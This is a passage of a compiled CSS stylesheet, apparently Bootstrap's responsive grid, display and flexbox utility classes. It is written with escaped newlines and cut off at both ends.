16.666667%;\n  }\n  .offset-sm-3 {\n    margin-left: 25%;\n  }\n  .offset-sm-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-sm-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-sm-6 {\n    margin-left: 50%;\n  }\n  .offset-sm-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-sm-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-sm-9 {\n    margin-left: 75%;\n  }\n  .offset-sm-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-sm-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 768px) {\n  .col-md {\n    -ms-flex-preferred-size: 0;\n    flex-basis: 0;\n    -ms-flex-positive: 1;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-md-auto {\n    -ms-flex: 0 0 auto;\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-md-1 {\n    -ms-flex: 0 0 8.333333%;\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-md-2 {\n    -ms-flex: 0 0 16.666667%;\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-md-3 {\n    -ms-flex: 0 0 25%;\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-md-4 {\n    -ms-flex: 0 0 33.333333%;\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-md-5 {\n    -ms-flex: 0 0 41.666667%;\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-md-6 {\n    -ms-flex: 0 0 50%;\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-md-7 {\n    -ms-flex: 0 0 58.333333%;\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-md-8 {\n    -ms-flex: 0 0 66.666667%;\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-md-9 {\n    -ms-flex: 0 0 75%;\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-md-10 {\n    -ms-flex: 0 0 83.333333%;\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-md-11 {\n    -ms-flex: 0 0 91.666667%;\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-md-12 {\n    -ms-flex: 0 0 100%;\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-md-first {\n    -ms-flex-order: -1;\n    order: -1;\n  }\n  .order-md-last {\n    -ms-flex-order: 13;\n    order: 13;\n  }\n  .order-md-0 {\n    -ms-flex-order: 0;\n    order: 0;\n  }\n  .order-md-1 {\n    -ms-flex-order: 1;\n    order: 1;\n  }\n  .order-md-2 {\n    -ms-flex-order: 2;\n    order: 2;\n  }\n  .order-md-3 {\n    -ms-flex-order: 3;\n    order: 3;\n  }\n  .order-md-4 {\n    -ms-flex-order: 4;\n    order: 4;\n  }\n  .order-md-5 {\n    -ms-flex-order: 5;\n    order: 5;\n  }\n  .order-md-6 {\n    -ms-flex-order: 6;\n    order: 6;\n  }\n  .order-md-7 {\n    -ms-flex-order: 7;\n    order: 7;\n  }\n  .order-md-8 {\n    -ms-flex-order: 8;\n    order: 8;\n  }\n  .order-md-9 {\n    -ms-flex-order: 9;\n    order: 9;\n  }\n  .order-md-10 {\n    -ms-flex-order: 10;\n    order: 10;\n  }\n  .order-md-11 {\n    -ms-flex-order: 11;\n    order: 11;\n  }\n  .order-md-12 {\n    -ms-flex-order: 12;\n    order: 12;\n  }\n  .offset-md-0 {\n    margin-left: 0;\n  }\n  .offset-md-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-md-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-md-3 {\n    margin-left: 25%;\n  }\n  .offset-md-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-md-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-md-6 {\n    margin-left: 50%;\n  }\n  .offset-md-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-md-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-md-9 {\n    margin-left: 75%;\n  }\n  .offset-md-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-md-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 992px) {\n  .col-lg {\n    -ms-flex-preferred-size: 0;\n    flex-basis: 0;\n    -ms-flex-positive: 1;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-lg-auto {\n    -ms-flex: 0 0 auto;\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-lg-1 {\n    -ms-flex: 0 0 8.333333%;\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-lg-2 {\n    -ms-flex: 0 0 16.666667%;\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-lg-3 {\n    -ms-flex: 0 0 25%;\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-lg-4 {\n    -ms-flex: 0 0 33.333333%;\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-lg-5 {\n    -ms-flex: 0 0 41.666667%;\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-lg-6 {\n    -ms-flex: 0 0 50%;\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-lg-7 {\n    -ms-flex: 0 0 58.333333%;\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-lg-8 {\n    -ms-flex: 0 0 66.666667%;\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-lg-9 {\n    -ms-flex: 0 0 75%;\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-lg-10 {\n    -ms-flex: 0 0 83.333333%;\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-lg-11 {\n    -ms-flex: 0 0 91.666667%;\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-lg-12 {\n    -ms-flex: 0 0 100%;\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-lg-first {\n    -ms-flex-order: -1;\n    order: -1;\n  }\n  .order-lg-last {\n    -ms-flex-order: 13;\n    order: 13;\n  }\n  .order-lg-0 {\n    -ms-flex-order: 0;\n    order: 0;\n  }\n  .order-lg-1 {\n    -ms-flex-order: 1;\n    order: 1;\n  }\n  .order-lg-2 {\n    -ms-flex-order: 2;\n    order: 2;\n  }\n  .order-lg-3 {\n    -ms-flex-order: 3;\n    order: 3;\n  }\n  .order-lg-4 {\n    -ms-flex-order: 4;\n    order: 4;\n  }\n  .order-lg-5 {\n    -ms-flex-order: 5;\n    order: 5;\n  }\n  .order-lg-6 {\n    -ms-flex-order: 6;\n    order: 6;\n  }\n  .order-lg-7 {\n    -ms-flex-order: 7;\n    order: 7;\n  }\n  .order-lg-8 {\n    -ms-flex-order: 8;\n    order: 8;\n  }\n  .order-lg-9 {\n    -ms-flex-order: 9;\n    order: 9;\n  }\n  .order-lg-10 {\n    -ms-flex-order: 10;\n    order: 10;\n  }\n  .order-lg-11 {\n    -ms-flex-order: 11;\n    order: 11;\n  }\n  .order-lg-12 {\n    -ms-flex-order: 12;\n    order: 12;\n  }\n  .offset-lg-0 {\n    margin-left: 0;\n  }\n  .offset-lg-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-lg-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-lg-3 {\n    margin-left: 25%;\n  }\n  .offset-lg-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-lg-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-lg-6 {\n    margin-left: 50%;\n  }\n  .offset-lg-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-lg-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-lg-9 {\n    margin-left: 75%;\n  }\n  .offset-lg-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-lg-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n@media (min-width: 1200px) {\n  .col-xl {\n    -ms-flex-preferred-size: 0;\n    flex-basis: 0;\n    -ms-flex-positive: 1;\n    flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-xl-auto {\n    -ms-flex: 0 0 auto;\n    flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-xl-1 {\n    -ms-flex: 0 0 8.333333%;\n    flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-xl-2 {\n    -ms-flex: 0 0 16.666667%;\n    flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-xl-3 {\n    -ms-flex: 0 0 25%;\n    flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-xl-4 {\n    -ms-flex: 0 0 33.333333%;\n    flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-xl-5 {\n    -ms-flex: 0 0 41.666667%;\n    flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-xl-6 {\n    -ms-flex: 0 0 50%;\n    flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-xl-7 {\n    -ms-flex: 0 0 58.333333%;\n    flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-xl-8 {\n    -ms-flex: 0 0 66.666667%;\n    flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-xl-9 {\n    -ms-flex: 0 0 75%;\n    flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-xl-10 {\n    -ms-flex: 0 0 83.333333%;\n    flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-xl-11 {\n    -ms-flex: 0 0 91.666667%;\n    flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-xl-12 {\n    -ms-flex: 0 0 100%;\n    flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-xl-first {\n    -ms-flex-order: -1;\n    order: -1;\n  }\n  .order-xl-last {\n    -ms-flex-order: 13;\n    order: 13;\n  }\n  .order-xl-0 {\n    -ms-flex-order: 0;\n    order: 0;\n  }\n  .order-xl-1 {\n    -ms-flex-order: 1;\n    order: 1;\n  }\n  .order-xl-2 {\n    -ms-flex-order: 2;\n    order: 2;\n  }\n  .order-xl-3 {\n    -ms-flex-order: 3;\n    order: 3;\n  }\n  .order-xl-4 {\n    -ms-flex-order: 4;\n    order: 4;\n  }\n  .order-xl-5 {\n    -ms-flex-order: 5;\n    order: 5;\n  }\n  .order-xl-6 {\n    -ms-flex-order: 6;\n    order: 6;\n  }\n  .order-xl-7 {\n    -ms-flex-order: 7;\n    order: 7;\n  }\n  .order-xl-8 {\n    -ms-flex-order: 8;\n    order: 8;\n  }\n  .order-xl-9 {\n    -ms-flex-order: 9;\n    order: 9;\n  }\n  .order-xl-10 {\n    -ms-flex-order: 10;\n    order: 10;\n  }\n  .order-xl-11 {\n    -ms-flex-order: 11;\n    order: 11;\n  }\n  .order-xl-12 {\n    -ms-flex-order: 12;\n    order: 12;\n  }\n  .offset-xl-0 {\n    margin-left: 0;\n  }\n  .offset-xl-1 {\n    margin-left: 8.333333%;\n  }\n  .offset-xl-2 {\n    margin-left: 16.666667%;\n  }\n  .offset-xl-3 {\n    margin-left: 25%;\n  }\n  .offset-xl-4 {\n    margin-left: 33.333333%;\n  }\n  .offset-xl-5 {\n    margin-left: 41.666667%;\n  }\n  .offset-xl-6 {\n    margin-left: 50%;\n  }\n  .offset-xl-7 {\n    margin-left: 58.333333%;\n  }\n  .offset-xl-8 {\n    margin-left: 66.666667%;\n  }\n  .offset-xl-9 {\n    margin-left: 75%;\n  }\n  .offset-xl-10 {\n    margin-left: 83.333333%;\n  }\n  .offset-xl-11 {\n    margin-left: 91.666667%;\n  }\n}\n\n.d-none {\n  display: none !important;\n}\n\n.d-inline {\n  display: inline !important;\n}\n\n.d-inline-block {\n  display: inline-block !important;\n}\n\n.d-block {\n  display: block !important;\n}\n\n.d-table {\n  display: table !important;\n}\n\n.d-table-row {\n  display: table-row !important;\n}\n\n.d-table-cell {\n  display: table-cell !important;\n}\n\n.d-flex {\n  display: -ms-flexbox !important;\n  display: flex !important;\n}\n\n.d-inline-flex {\n  display: -ms-inline-flexbox !important;\n  display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n  .d-sm-none {\n    display: none !important;\n  }\n  .d-sm-inline {\n    display: inline !important;\n  }\n  .d-sm-inline-block {\n    display: inline-block !important;\n  }\n  .d-sm-block {\n    display: block !important;\n  }\n  .d-sm-table {\n    display: table !important;\n  }\n  .d-sm-table-row {\n    display: table-row !important;\n  }\n  .d-sm-table-cell {\n    display: table-cell !important;\n  }\n  .d-sm-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-sm-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .d-md-none {\n    display: none !important;\n  }\n  .d-md-inline {\n    display: inline !important;\n  }\n  .d-md-inline-block {\n    display: inline-block !important;\n  }\n  .d-md-block {\n    display: block !important;\n  }\n  .d-md-table {\n    display: table !important;\n  }\n  .d-md-table-row {\n    display: table-row !important;\n  }\n  .d-md-table-cell {\n    display: table-cell !important;\n  }\n  .d-md-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-md-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .d-lg-none {\n    display: none !important;\n  }\n  .d-lg-inline {\n    display: inline !important;\n  }\n  .d-lg-inline-block {\n    display: inline-block !important;\n  }\n  .d-lg-block {\n    display: block !important;\n  }\n  .d-lg-table {\n    display: table !important;\n  }\n  .d-lg-table-row {\n    display: table-row !important;\n  }\n  .d-lg-table-cell {\n    display: table-cell !important;\n  }\n  .d-lg-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-lg-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .d-xl-none {\n    display: none !important;\n  }\n  .d-xl-inline {\n    display: inline !important;\n  }\n  .d-xl-inline-block {\n    display: inline-block !important;\n  }\n  .d-xl-block {\n    display: block !important;\n  }\n  .d-xl-table {\n    display: table !important;\n  }\n  .d-xl-table-row {\n    display: table-row !important;\n  }\n  .d-xl-table-cell {\n    display: table-cell !important;\n  }\n  .d-xl-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-xl-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media print {\n  .d-print-none {\n    display: none !important;\n  }\n  .d-print-inline {\n    display: inline !important;\n  }\n  .d-print-inline-block {\n    display: inline-block !important;\n  }\n  .d-print-block {\n    display: block !important;\n  }\n  .d-print-table {\n    display: table !important;\n  }\n  .d-print-table-row {\n    display: table-row !important;\n  }\n  .d-print-table-cell {\n    display: table-cell !important;\n  }\n  .d-print-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-print-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n.flex-row {\n  -ms-flex-direction: row !important;\n  flex-direction: row !important;\n}\n\n.flex-column {\n  -ms-flex-direction: column !important;\n  flex-direction: column !important;\n}\n\n.flex-row-reverse {\n  -ms-flex-direction: row-reverse !important;\n  flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n  -ms-flex-direction: column-reverse !important;\n  flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n  -ms-flex-wrap: wrap !important;\n  flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n  -ms-flex-wrap: nowrap !important;\n  flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n  -ms-flex-wrap: wrap-reverse !important;\n  flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n  -ms-flex: 1 1 auto !important;\n  flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n  -ms-flex-positive: 0 !important;\n  flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n  -ms-flex-positive: 1 !important;\n  flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n  -ms-flex-negative: 0 !important;\n  flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n  -ms-flex-negative: 1 !important;\n  flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n  -ms-flex-pack: start !important;\n  justify-content: flex-start !important;\n}\n\n.justify-content-end {\n  -ms-flex-pack: end !important;\n  justify-content: flex-end !important;\n}\n\n.justify-content-center {\n  -ms-flex-pack: center !important;\n  justify-content: center !important;\n}\n\n.justify-content-between {\n  -ms-flex-pack: justify !important;\n  justify-content: space-between !important;\n}\n\n.justify-content-around {\n  -ms-flex-pack: distribute !important;\n  justify-content: space-around !important;\n}\n\n.align-items-start {\n  -ms-flex-align: start !important;\n  align-items: flex-start !important;\n}\n\n.align-items-end {\n  -ms-flex-align: end !important;\n  align-items: flex-end !important;\n}\n\n.align-items-center {\n  -ms-flex-align: center !important;\n  align-items: center !important;\n}\n\n.align-items-baseline {\n  -ms-flex-align: baseline !important;\n  align-items: baseline !important;\n}\n\n.align-items-stretch {\n  -ms-flex-align: stretch !important;\n  align-items: stretch !important;\n}\n\n.align-content-start {\n  -ms-flex-line-pack: start !important;\n  align-content: flex-start !important;\n}\n\n.align-content-end {\n  -ms-flex-line-pack: end !important;\n  align-content: flex-end !important;\n}\n\n.align-content-center {\n  -ms-flex-line-pack: center !important;\n  align-content: center !important;\n}\n\n.align-content-between {\n  -ms-flex-line-pack: justify !important;\n  align-content: space-between !important;\n}\n\n.align-content-around {\n  -ms-flex-line-pack: distribute !important;\n  align-content: space-around !important;\n}\n\n.align-content-stretch {\n  -ms-flex-line-pack: stretch !important;\n  align-content: stretch !important;\n}\n\n.align-self-auto {\n  -ms-flex-item-align: auto !important;\n  align-self: auto !important;\n}\n\n.align-self-start {\n  -ms-flex-item-align: start !important;\n  align-self: flex-start !important;\n}\n\n.align-self-end {\n  -ms-flex-item-align: end !important;\n  align-self: flex-end !important;\n}\n\n.align-self-center {\n  -ms-flex-item-align: center !important;\n  align-self: center !important;\n}\n\n.align-self-baseline {\n  -ms-flex-item-align: baseline !important;\n  align-self: baseline !important;\n}\n\n.align-self-stretch {\n  -ms-flex-item-align: stretch !important;\n  align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n  .flex-sm-row {\n    -ms-flex-direction: row !important;\n    flex-direction: row !important;\n  }\n  .flex-sm-column {\n    -ms-flex-direction: column !important;\n    flex-direction: column !important;\n  }\n  .flex-sm-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n    flex-direction: row-reverse !important;\n  }\n  .flex-sm-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n    flex-direction: column-reverse !important;\n  }\n  .flex-sm-wrap {\n    -ms-flex-wrap: wrap !important;\n    flex-wrap: wrap !important;\n  }\n  .flex-sm-nowrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n  }\n  .flex-sm-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-sm-fill {\n    -ms-flex: 1 1 auto !important;\n    flex: 1 1 auto !important;\n  }\n  .flex-sm-grow-0 {\n    -ms-flex-positive: 0 !important;\n    flex-grow: 0 !important;\n  }\n  .flex-sm-grow-1 {\n    -ms-flex-positive: 1 !important;\n    flex-grow: 1 !important;\n  }\n  .flex-sm-shrink-0 {\n    -ms-flex-negative: 0 !important;\n    flex-shrink: 0 !important;\n  }\n  .flex-sm-shrink-1 {\n    -ms-flex-negative: 1 !important;\n    flex-shrink: 1 !important;\n  }\n  .justify-content-sm-start {\n    -ms-flex-pack: start !important;\n    justify-content: flex-start !important;\n  }\n  .justify-content-sm-end {\n    -ms-flex-pack: end !important;\n    justify-content: flex-end !important;\n  }\n  .justify-content-sm-center {\n    -ms-flex-pack: center !important;\n    justify-content: center !important;\n  }\n  .justify-content-sm-between {\n    -ms-flex-pack: justify !important;\n    justify-content: space-between !important;\n  }\n  .justify-content-sm-around {\n    -ms-flex-pack: distribute !important;\n    justify-content: space-around !important;\n  }\n  .align-items-sm-start {\n    -ms-flex-align: start !important;\n    align-items: flex-start !important;\n  }\n  .align-items-sm-end {\n    -ms-flex-align: end !important;\n    align-items: flex-end !important;\n  }\n  .align-items-sm-center {\n    -ms-flex-align: center !important;\n    align-items: center !important;\n  }\n  .align-items-sm-baseline {\n    -ms-flex-align: baseline !important;\n    align-items: baseline !important;\n  }\n  .align-items-sm-stretch {\n    -ms-flex-align: stretch !important;\n    align-items: stretch !important;\n  }\n  .align-content-sm-start {\n    -ms-flex-line-pack: start !important;\n    align-content: flex-start !important;\n  }\n  .align-content-sm-end {\n    -ms-flex-line-pack: end !important;\n    align-content: flex-end !important;\n  }\n  .align-content-sm-center {\n    -ms-flex-line-pack: center !important;\n    align-content: center !important;\n  }\n  .align-content-sm-between {\n    -ms-flex-line-pack: justify !important;\n    align-content: space-between !important;\n  }\n  .align-content-sm-around {\n    -ms-flex-line-pack: distribute !important;\n    align-content: space-around !important;\n  }\n  .align-content-sm-stretch {\n    -ms-flex-line-pack: stretch !important;\n    align-content: stretch !important;\n  }\n  .align-self-sm-auto {\n    -ms-flex-item-align: auto !important;\n    align-self: auto !important;\n  }\n  .align-self-sm-start {\n    -ms-flex-item-align: start !important;\n    align-self: flex-start !important;\n  }\n  .align-self-sm-end {\n    -ms-flex-item-align: end !important;\n    align-self: flex-end !important;\n  }\n  .align-self-sm-center {\n    -ms-flex-item-align: center !important;\n    align-self: center !important;\n  }\n  .align-self-sm-baseline {\n    -ms-flex-item-align: baseline !important;\n    align-self: baseline !important;\n  }\n  .align-self-sm-stretch {\n    -ms-flex-item-align: stretch !important;\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .flex-md-row {\n    -ms-flex-direction: row !important;\n    flex-direction: row !important;\n  }\n  .flex-md-column {\n    -ms-flex-direction: column !important;\n    flex-direction: column !important;\n  }\n  .flex-md-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n    flex-direction: row-reverse !important;\n  }\n  .flex-md-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n    flex-direction: column-reverse !important;\n  }\n  .flex-md-wrap {\n    -ms-flex-wrap: wrap !important;\n    flex-wrap: wrap !important;\n  }\n  .flex-md-nowrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n  }\n  .flex-md-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-md-fill {\n    -ms-flex: 1 1 auto !important;\n    flex: 1 1 auto !important;\n  }\n  .flex-md-grow-0 {\n    -ms-flex-positive: 0 !important;\n    flex-grow: 0 !important;\n  }\n  .flex-md-grow-1 {\n    -ms-flex-positive: 1 !important;\n    flex-grow: 1 !important;\n  }\n  .flex-md-shrink-0 {\n    -ms-flex-negative: 0 !important;\n    flex-shrink: 0 !important;\n  }\n  .flex-md-shrink-1 {\n    -ms-flex-negative: 1 !important;\n    flex-shrink: 1 !important;\n  }\n  .justify-content-md-start {\n    -ms-flex-pack: start !important;\n    justify-content: flex-start !important;\n  }\n  .justify-content-md-end {\n    -ms-flex-pack: end !important;\n    justify-content: flex-end !important;\n  }\n  .justify-content-md-center {\n    -ms-flex-pack: center !important;\n    justify-content: center !important;\n  }\n  .justify-content-md-between {\n    -ms-flex-pack: justify !important;\n    justify-content: space-between !important;\n  }\n  .justify-content-md-around {\n    -ms-flex-pack: distribute !important;\n    justify-content: space-around !important;\n  }\n  .align-items-md-start {\n    -ms-flex-align: start !important;\n    align-items: flex-start !important;\n  }\n  .align-items-md-end {\n    -ms-flex-align: end !important;\n    align-items: flex-end !important;\n  }\n  .align-items-md-center {\n    -ms-flex-align: center !important;\n    align-items: center !important;\n  }\n  .align-items-md-baseline {\n    -ms-flex-align: baseline !important;\n    align-items: baseline !important;\n  }\n  .align-items-md-stretch {\n    -ms-flex-align: stretch !important;\n    align-items: stretch !important;\n  }\n  .align-content-md-start {\n    -ms-flex-line-pack: start !important;\n    align-content: flex-start !important;\n  }\n  .align-content-md-end {\n    -ms-flex-line-pack: end !important;\n    align-content: flex-end !important;\n  }\n  .align-content-md-center {\n    -ms-flex-line-pack: center !important;\n    align-content: center !important;\n  }\n  .align-content-md-between {\n    -ms-flex-line-pack: justify !important;\n    align-content: space-between !important;\n  }\n  .align-content-md-around {\n    -ms-flex-line-pack: distribute !important;\n    align-content: space-around !important;\n  }\n  .align-content-md-stretch {\n    -ms-flex-line-pack: stretch !important;\n    align-content: stretch !important;\n  }\n  .align-self-md-auto {\n    -ms-flex-item-align: auto !important;\n    align-self: auto !important;\n  }\n  .align-self-md-start {\n    -ms-flex-item-align: start !important;\n    align-self: flex-start !important;\n  }\n  .align-self-md-end {\n    -ms-flex-item-align: end !important;\n    align-self: flex-end !important;\n  }\n  .align-self-md-center {\n    -ms-flex-item-align: center !important;\n    align-self: center !important;\n  }\n  .align-self-md-baseline {\n    -ms-flex-item-align: baseline !important;\n    align-self: baseline !important;\n  }\n  .align-self-md-stretch {\n    -ms-flex-item-align: stretch !important;\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .flex-lg-row {\n    -ms-flex-direction: row !important;\n    flex-direction: row !important;\n  }\n  .flex-lg-column {\n    -ms-flex-direction: column !important;\n    flex-direction: column !important;\n  }\n  .flex-lg-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n    flex-direction: row-reverse !important;\n  }\n  .flex-lg-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n    flex-direction: column-reverse !important;\n  }\n  .flex-lg-wrap {\n    -ms-flex-wrap: wrap !important;\n    flex-wrap: wrap !important;\n  }\n  .flex-lg-nowrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n  }\n  .flex-lg-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-lg-fill {\n    -ms-flex: 1 1 auto !important;\n    flex: 1 1 auto !important;\n  }\n  .flex-lg-grow-0 {\n    -ms-flex-positive: 0 !important;\n    flex-grow: 0 !important;\n  }\n  .flex-lg-grow-1 {\n    -ms-flex-positive: 1 !important;\n    flex-grow: 1 !important;\n  }\n  .flex-lg-shrink-0 {\n    -ms-flex-negative: 0 !important;\n    flex-shrink: 0 !important;\n  }\n  .flex-lg-shrink-1 {\n    -ms-flex-negative: 1 !important;\n    flex-shrink: 1 !important;\n  }\n  .justify-content-lg-start {\n    -ms-flex-pack: start !important;\n    justify-content: flex-start !important;\n  }\n  .justify-content-lg-end {\n    -ms-flex-pack: end !important;\n    justify-content: flex-end !important;\n  }\n  .justify-content-lg-center {\n    -ms-flex-pack: center !important;\n    justify-content: center !important;\n  }\n  .justify-content-lg-between {\n    -ms-flex-pack: justify !important;\n    justify-content: space-between !important;\n  }\n  .justify-content-lg-around {\n    -ms-flex-pack: distribute !important;\n    justify-content: space-around !important;\n  }\n  .align-items-lg-start {\n    -ms-flex-align: start !important;\n    align-items: flex-start !important;\n  }\n  .align-items-lg-end {\n    -ms-flex-align: end !important;\n    align-items: flex-end !important;\n  }\n  .align-items-lg-center {\n    -ms-flex-align: center !important;\n    align-items: center !important;\n  }\n  .align-items-lg-baseline {\n    -ms-flex-align: baseline !important;\n    align-items: baseline !important;\n  }\n  .align-items-lg-stretch {\n    -ms-flex-align: stretch !important;\n    align-items: stretch !important;\n  }\n  .align-content-lg-start {\n    -ms-flex-line-pack: start !important;\n    align-content: flex-start !important;\n  }\n  .align-content-lg-end {\n    -ms-flex-line-pack: end !important;\n    align-content: flex-end !important;\n  }\n  .align-content-lg-center {\n    -ms-flex-line-pack: center !important;\n    align-content: center !important;\n  }\n  .align-content-lg-between {\n    -ms-flex-line-pack: justify !important;\n    align-content: space-between !important;\n  }\n  .align-content-lg-around {\n    -ms-flex-line-pack: distribute !important;\n    align-content: space-around !important;\n  }\n  .align-content-lg-stretch {\n    -ms-flex-line-pack: stretch !important;\n    align-content: stretch !important;\n  }\n  .align-self-lg-auto {\n    -ms-flex-item-align: auto !important;\n    align-self: auto !important;\n  }\n  .align-self-lg-start {\n    -ms-flex-item-align: start !important;\n    align-self: flex-start !important;\n  }\n  .align-self-lg-end {\n    -ms-flex-item-align: end !important;\n    align-self: flex-end !important;\n  }\n  .align-self-lg-center {\n    -ms-flex-item-align: center !important;\n    align-self: center !important;\n  }\n  .align-self-lg-baseline {\n    -ms-flex-item-align: baseline !important;\n    align-self: baseline !important;\n  }\n  .align-self-lg-stretch {\n    -ms-flex-item-align: stretch !important;\n    align-self: stretch !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .flex-xl-row {\n    -ms-flex-direction: row !important;\n    flex-direction: row !important;\n  }\n  .flex-xl-column {\n    -ms-flex-direction: column !important;\n    flex-direction: column !important;\n  }\n  .flex-xl-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n    flex-direction: row-reverse !important;\n  }\n  .flex-xl-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n    flex-direction: column-reverse !important;\n  }\n  .flex-xl-wrap {\n    -ms-flex-wrap: wrap !important;\n    flex-wrap: wrap !important;\n  }\n  .flex-xl-nowrap {\n    -ms-flex-wrap: nowrap !important;\n    flex-wrap: nowrap !important;\n  }\n  .flex-xl-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n    flex-wrap: wrap-reverse !important;\n  }\n  .flex-xl-fill {\n    -ms-flex: 1 1 auto !important;\n    